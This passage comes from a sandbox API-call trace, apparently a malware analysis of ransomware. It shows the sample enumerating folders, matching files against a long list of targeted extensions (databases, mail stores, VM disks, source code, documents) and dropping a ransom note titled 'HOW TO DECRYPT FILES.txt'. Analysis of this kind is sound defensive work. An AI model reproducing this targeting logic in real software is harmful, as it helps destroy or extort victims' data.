(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.odg") returned 0 [0103.244] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.raw") returned 0 [0103.244] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.nef") returned 0 [0103.244] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.svg") returned 0 [0103.244] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.psd") returned 0 [0103.244] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.vmx") returned 0 [0103.244] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.vmdk") returned 0 [0103.244] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.vdi") returned 0 [0103.245] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.lay6") returned 0 [0103.245] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.mpeg") returned 0 [0103.245] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.djvu") returned 0 [0103.245] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.tiff") returned 0 [0103.245] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.backup") returned 0 [0103.245] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.pdf") returned 0 [0103.245] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.cert") returned 0 [0103.245] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.docm") returned 0 [0103.245] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.xlsm") returned 0 [0103.246] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.dwg") returned 0 [0103.246] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.nd") returned 0 [0103.246] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.tlg") returned 0 [0103.246] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.lgb") returned 0 [0103.246] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.mov") returned 0 [0103.246] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.xdw") returned 0 [0103.246] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.ods") returned 0 [0103.246] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.wav") returned 0 [0103.246] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.mp3") returned 0 [0103.247] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.aiff") returned 0 [0103.247] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.flac") returned 0 [0103.247] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.m4a") returned 0 [0103.247] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.csv") returned 0 [0103.247] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b9e5220, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x4b9e5220, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x4b9e5220, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x10400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0103.247] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0103.247] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1efbd6f0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x1efbd6f0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x1efbd6f0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="ee73646032cbb022d16771203727e3b2", cAlternateFileName="EE7364~1")) returned 1 [0103.247] lstrcmpA (lpString1=".", lpString2="ee73646032cbb022d16771203727e3b2") returned -1 [0103.247] lstrcmpA (lpString1="..", lpString2="ee73646032cbb022d16771203727e3b2") returned -1 [0103.247] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\*.*") returned="*.*" [0103.248] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\", lpString2="ee73646032cbb022d16771203727e3b2" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2" [0103.248] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1efbd6f0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x1efbd6f0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x1efbd6f0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0103.249] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0103.249] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1efbd6f0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x1efbd6f0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x1efbd6f0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.249] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0103.249] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0103.249] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1efbd6f0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x1efbd6f0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x1efbd6f0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x20800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0103.249] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0103.249] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll") returned -1 [0103.249] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll") returned -1 [0103.249] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll") returned -1 [0103.249] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\*.*") returned="*.*" [0103.249] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\" [0103.249] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\") returned="" [0103.249] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\HOW TO DECRYPT FILES.txt" [0103.249] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualstu#\\ee73646032cbb022d16771203727e3b2\\how to decrypt files.txt")) returned 0xffffffff [0103.250] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualstu#\\ee73646032cbb022d16771203727e3b2\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0103.254] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0103.256] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0103.257] CloseHandle (hObject=0x90) returned 1 [0103.257] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\", lpString2="Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll" [0103.257] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.ems") returned 0 [0103.257] lstrlenA (lpString="*.ems") returned 5 [0103.257] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.db") returned 0 [0103.257] lstrlenA (lpString="*.db") returned 4 [0103.257] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.dbf") returned 0 [0103.257] lstrlenA (lpString="*.dbf") returned 5 [0103.257] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.myox") returned 0 [0103.257] lstrlenA (lpString="*.myox") returned 6 [0103.257] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.myo") returned 0 [0103.257] lstrlenA (lpString="*.myo") returned 5 [0103.257] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.qbw") returned 0 [0103.257] lstrlenA (lpString="*.qbw") returned 5 [0103.257] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.qbb") returned 0 [0103.258] lstrlenA (lpString="*.qbb") returned 5 [0103.258] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.qbm") returned 0 [0103.258] lstrlenA (lpString="*.qbm") returned 5 [0103.258] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.qbo") returned 0 [0103.258] lstrlenA (lpString="*.qbo") returned 5 [0103.258] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.qbx") returned 0 [0103.258] lstrlenA (lpString="*.qbx") returned 5 [0103.258] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.qba") returned 0 [0103.258] lstrlenA (lpString="*.qba") returned 5 [0103.258] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.qby") returned 0 [0103.258] lstrlenA (lpString="*.qby") returned 5 [0103.258] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.qbj") returned 0 [0103.258] lstrlenA (lpString="*.qbj") returned 5 [0103.258] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.ofx") returned 0 [0103.258] lstrlenA (lpString="*.ofx") returned 5 [0103.258] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.qif") returned 0 [0103.258] lstrlenA (lpString="*.qif") returned 5 [0103.258] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.mye") returned 0 [0103.259] lstrlenA (lpString="*.mye") returned 5 [0103.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.mbox") returned 0 [0103.259] lstrlenA (lpString="*.mbox") returned 6 [0103.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0103.259] lstrlenA (lpString="*.eml") returned 5 [0103.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.pst") returned 0 [0103.259] lstrlenA (lpString="*.pst") returned 5 [0103.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.ost") returned 0 [0103.259] lstrlenA (lpString="*.ost") returned 5 [0103.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.idx") returned 0 [0103.259] lstrlenA (lpString="*.idx") returned 5 [0103.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.dbx") returned 0 [0103.259] lstrlenA (lpString="*.dbx") returned 5 [0103.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.sql") returned 0 [0103.259] lstrlenA (lpString="*.sql") returned 5 [0103.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.mdb") returned 0 [0103.260] lstrlenA (lpString="*.mdb") returned 5 [0103.260] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.fdb") returned 0 [0103.260] lstrlenA (lpString="*.fdb") returned 5 [0103.260] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.wab") returned 0 [0103.260] lstrlenA (lpString="*.wab") returned 5 [0103.260] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.dat") returned 0 [0103.260] lstrlenA (lpString="*.dat") returned 5 [0103.260] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.txt") returned 0 [0103.260] lstrlenA (lpString="*.txt") returned 5 [0103.260] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.jpeg") returned 0 [0103.260] lstrlenA (lpString="*.jpeg") returned 6 [0103.260] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.jpg") returned 0 [0103.260] lstrlenA (lpString="*.jpg") returned 5 [0103.260] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.png") returned 0 [0103.260] lstrlenA (lpString="*.png") returned 5 [0103.260] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.php") returned 0 [0103.260] lstrlenA (lpString="*.php") returned 5 [0103.261] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.cs") returned 0 [0103.261] lstrlenA (lpString="*.cs") returned 4 [0103.261] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.cpp") returned 0 [0103.261] lstrlenA (lpString="*.cpp") returned 5 [0103.261] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.rar") returned 0 [0103.261] lstrlenA (lpString="*.rar") returned 5 [0103.261] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.zip") returned 0 [0103.261] lstrlenA (lpString="*.zip") returned 5 [0103.261] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\ee73646032cbb022d16771203727e3b2\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.html") returned 0 [0103.261] lstrlenA (lpString="*.html") returned 6 [0103.261] PathMatchSpecA 